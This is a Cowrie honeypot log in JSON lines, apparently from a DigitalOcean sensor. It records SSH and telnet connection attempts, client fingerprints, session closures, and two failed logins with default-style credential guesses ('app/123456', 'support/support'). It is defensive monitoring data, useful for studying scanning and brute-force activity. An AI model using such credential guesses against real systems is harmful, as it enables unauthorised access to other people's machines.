{"eventid":"cowrie.session.closed","duration":7.882030725479126,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:16:17.023250Z","src_ip":"180.235.129.180","session":"062e1bd668c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"18.212.65.237","src_port":24326,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e3b48db7549","protocol":"ssh","message":"New connection: 18.212.65.237:24326 (159.203.135.109:22) [session: 5e3b48db7549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:16:38.500271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:16:40.634478Z","src_ip":"18.212.65.237","session":"5e3b48db7549","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:16:40.638222Z","src_ip":"18.212.65.237","session":"5e3b48db7549","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:16:48.130322Z","src_ip":"18.212.65.237","session":"5e3b48db7549","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00413942337036,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:17:20.961090Z","src_ip":"180.235.129.180","session":"2e481b42b6ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":52826,"dst_ip":"10.17.0.5","dst_port":23,"session":"61d760a36958","protocol":"telnet","message":"New connection: 180.235.129.180:52826 (10.17.0.5:23) [session: 61d760a36958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:19:16.730654Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":52830,"dst_ip":"10.17.0.5","dst_port":23,"session":"7048ed9b1221","protocol":"telnet","message":"New connection: 180.235.129.180:52830 (10.17.0.5:23) [session: 7048ed9b1221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:19:17.717261Z"}
{"eventid":"cowrie.session.closed","duration":6.789476633071899,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:19:23.519997Z","src_ip":"180.235.129.180","session":"61d760a36958","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":54208,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbec72b0f9b4","protocol":"telnet","message":"New connection: 180.235.129.180:54208 (10.17.0.5:23) [session: dbec72b0f9b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:19:33.043983Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":56448,"dst_ip":"10.17.0.5","dst_port":23,"session":"b81d9b0d8eea","protocol":"telnet","message":"New connection: 180.235.129.180:56448 (10.17.0.5:23) [session: b81d9b0d8eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:19:55.912950Z"}
{"eventid":"cowrie.session.closed","duration":8.739237785339355,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:20:04.651836Z","src_ip":"180.235.129.180","session":"b81d9b0d8eea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00279688835144,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:21:17.719929Z","src_ip":"180.235.129.180","session":"7048ed9b1221","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":35562,"dst_ip":"10.17.0.5","dst_port":23,"session":"217c8db31dcd","protocol":"telnet","message":"New connection: 180.235.129.180:35562 (10.17.0.5:23) [session: 217c8db31dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:21:29.060374Z"}
{"eventid":"cowrie.session.closed","duration":120.00558471679688,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:21:33.049446Z","src_ip":"180.235.129.180","session":"dbec72b0f9b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.282901048660278,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:21:34.343173Z","src_ip":"180.235.129.180","session":"217c8db31dcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":37416,"dst_ip":"10.17.0.5","dst_port":23,"session":"69ac143d4980","protocol":"telnet","message":"New connection: 180.235.129.180:37416 (10.17.0.5:23) [session: 69ac143d4980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:21:49.423162Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":37436,"dst_ip":"10.17.0.5","dst_port":23,"session":"65edca00979c","protocol":"telnet","message":"New connection: 180.235.129.180:37436 (10.17.0.5:23) [session: 65edca00979c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:21:49.652248Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":37440,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb870f05175e","protocol":"telnet","message":"New connection: 180.235.129.180:37440 (10.17.0.5:23) [session: bb870f05175e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:21:49.691974Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":37418,"dst_ip":"10.17.0.5","dst_port":23,"session":"97094018c82a","protocol":"telnet","message":"New connection: 180.235.129.180:37418 (10.17.0.5:23) [session: 97094018c82a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:21:51.422716Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.181.20.254","src_port":29329,"dst_ip":"159.203.135.109","dst_port":23,"session":"01bb5b58e98f","protocol":"telnet","message":"New connection: 223.181.20.254:29329 (159.203.135.109:23) [session: 01bb5b58e98f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:21:57.351965Z"}
{"eventid":"cowrie.session.closed","duration":8.740106105804443,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:21:58.431955Z","src_ip":"180.235.129.180","session":"bb870f05175e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.532451868057251,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:21:59.184566Z","src_ip":"180.235.129.180","session":"65edca00979c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":39022,"dst_ip":"10.17.0.5","dst_port":23,"session":"75897c904d98","protocol":"telnet","message":"New connection: 180.235.129.180:39022 (10.17.0.5:23) [session: 75897c904d98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:22:09.281660Z"}
{"eventid":"cowrie.session.closed","duration":13.934390783309937,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:22:11.286223Z","src_ip":"223.181.20.254","session":"01bb5b58e98f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":28172,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e614f50e726","protocol":"ssh","message":"New connection: 194.59.206.2:28172 (159.203.135.109:22) [session: 0e614f50e726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:22:12.572396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:22:12.577320Z","src_ip":"194.59.206.2","session":"0e614f50e726","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:22:12.663728Z","src_ip":"194.59.206.2","session":"0e614f50e726","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:22:12.755223Z","src_ip":"194.59.206.2","session":"0e614f50e726","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.62233591079712,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:22:18.903878Z","src_ip":"180.235.129.180","session":"75897c904d98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"106.241.31.17","src_port":29538,"dst_ip":"159.203.135.109","dst_port":22,"session":"73584a6c420b","protocol":"ssh","message":"New connection: 106.241.31.17:29538 (159.203.135.109:22) [session: 73584a6c420b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:22:44.661654Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:22:44.868307Z","src_ip":"106.241.31.17","session":"73584a6c420b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.241.31.17","src_port":30327,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a9a5c8e141a","protocol":"ssh","message":"New connection: 106.241.31.17:30327 (159.203.135.109:22) [session: 0a9a5c8e141a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:22:45.057383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:22:45.061945Z","src_ip":"106.241.31.17","session":"0a9a5c8e141a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:22:45.261137Z","src_ip":"106.241.31.17","session":"0a9a5c8e141a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.9991180896759,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:22:45.422183Z","src_ip":"180.235.129.180","session":"69ac143d4980","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"app","password":"123456","message":"login attempt [app/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:22:45.864087Z","src_ip":"106.241.31.17","session":"0a9a5c8e141a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:22:47.065364Z","src_ip":"106.241.31.17","session":"0a9a5c8e141a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":43890,"dst_ip":"10.17.0.5","dst_port":23,"session":"6115fecf14b8","protocol":"telnet","message":"New connection: 180.235.129.180:43890 (10.17.0.5:23) [session: 6115fecf14b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:23:07.077599Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":46178,"dst_ip":"10.17.0.5","dst_port":23,"session":"83627b2dd7a9","protocol":"telnet","message":"New connection: 180.235.129.180:46178 (10.17.0.5:23) [session: 83627b2dd7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:23:35.122265Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.207","src_port":32616,"dst_ip":"10.17.0.5","dst_port":22,"session":"b45d733f1ff1","protocol":"ssh","message":"New connection: 64.89.160.207:32616 (10.17.0.5:22) [session: b45d733f1ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:23:36.012661Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:23:36.017123Z","src_ip":"64.89.160.207","session":"b45d733f1ff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.207","src_port":32622,"dst_ip":"10.17.0.5","dst_port":22,"session":"2073e0c19ebc","protocol":"ssh","message":"New connection: 64.89.160.207:32622 (10.17.0.5:22) [session: 2073e0c19ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:23:36.175280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:23:36.180331Z","src_ip":"64.89.160.207","session":"2073e0c19ebc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:23:36.268363Z","src_ip":"64.89.160.207","session":"2073e0c19ebc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:23:36.446365Z","src_ip":"64.89.160.207","session":"2073e0c19ebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":46180,"dst_ip":"10.17.0.5","dst_port":23,"session":"d305ae439ade","protocol":"telnet","message":"New connection: 180.235.129.180:46180 (10.17.0.5:23) [session: d305ae439ade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:23:37.006412Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:23:37.537330Z","src_ip":"64.89.160.207","session":"2073e0c19ebc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.06576943397522,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:23:42.072046Z","src_ip":"180.235.129.180","session":"d305ae439ade","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.216480731964111,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:23:42.338643Z","src_ip":"180.235.129.180","session":"83627b2dd7a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00300478935242,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:23:51.425595Z","src_ip":"180.235.129.180","session":"97094018c82a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.02379608154297,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:25:07.101288Z","src_ip":"180.235.129.180","session":"6115fecf14b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":54642,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d1424375da3","protocol":"telnet","message":"New connection: 180.235.129.180:54642 (10.17.0.5:23) [session: 2d1424375da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:25:15.645416Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":54638,"dst_ip":"10.17.0.5","dst_port":23,"session":"fce47c7d53e7","protocol":"telnet","message":"New connection: 180.235.129.180:54638 (10.17.0.5:23) [session: fce47c7d53e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:25:15.670479Z"}
{"eventid":"cowrie.session.closed","duration":9.008338451385498,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:25:24.653623Z","src_ip":"180.235.129.180","session":"2d1424375da3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":23514,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8230f746390","protocol":"ssh","message":"New connection: 213.209.159.56:23514 (10.17.0.5:22) [session: e8230f746390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:25:37.992271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:25:37.998091Z","src_ip":"213.209.159.56","session":"e8230f746390","protocol":"ssh"}
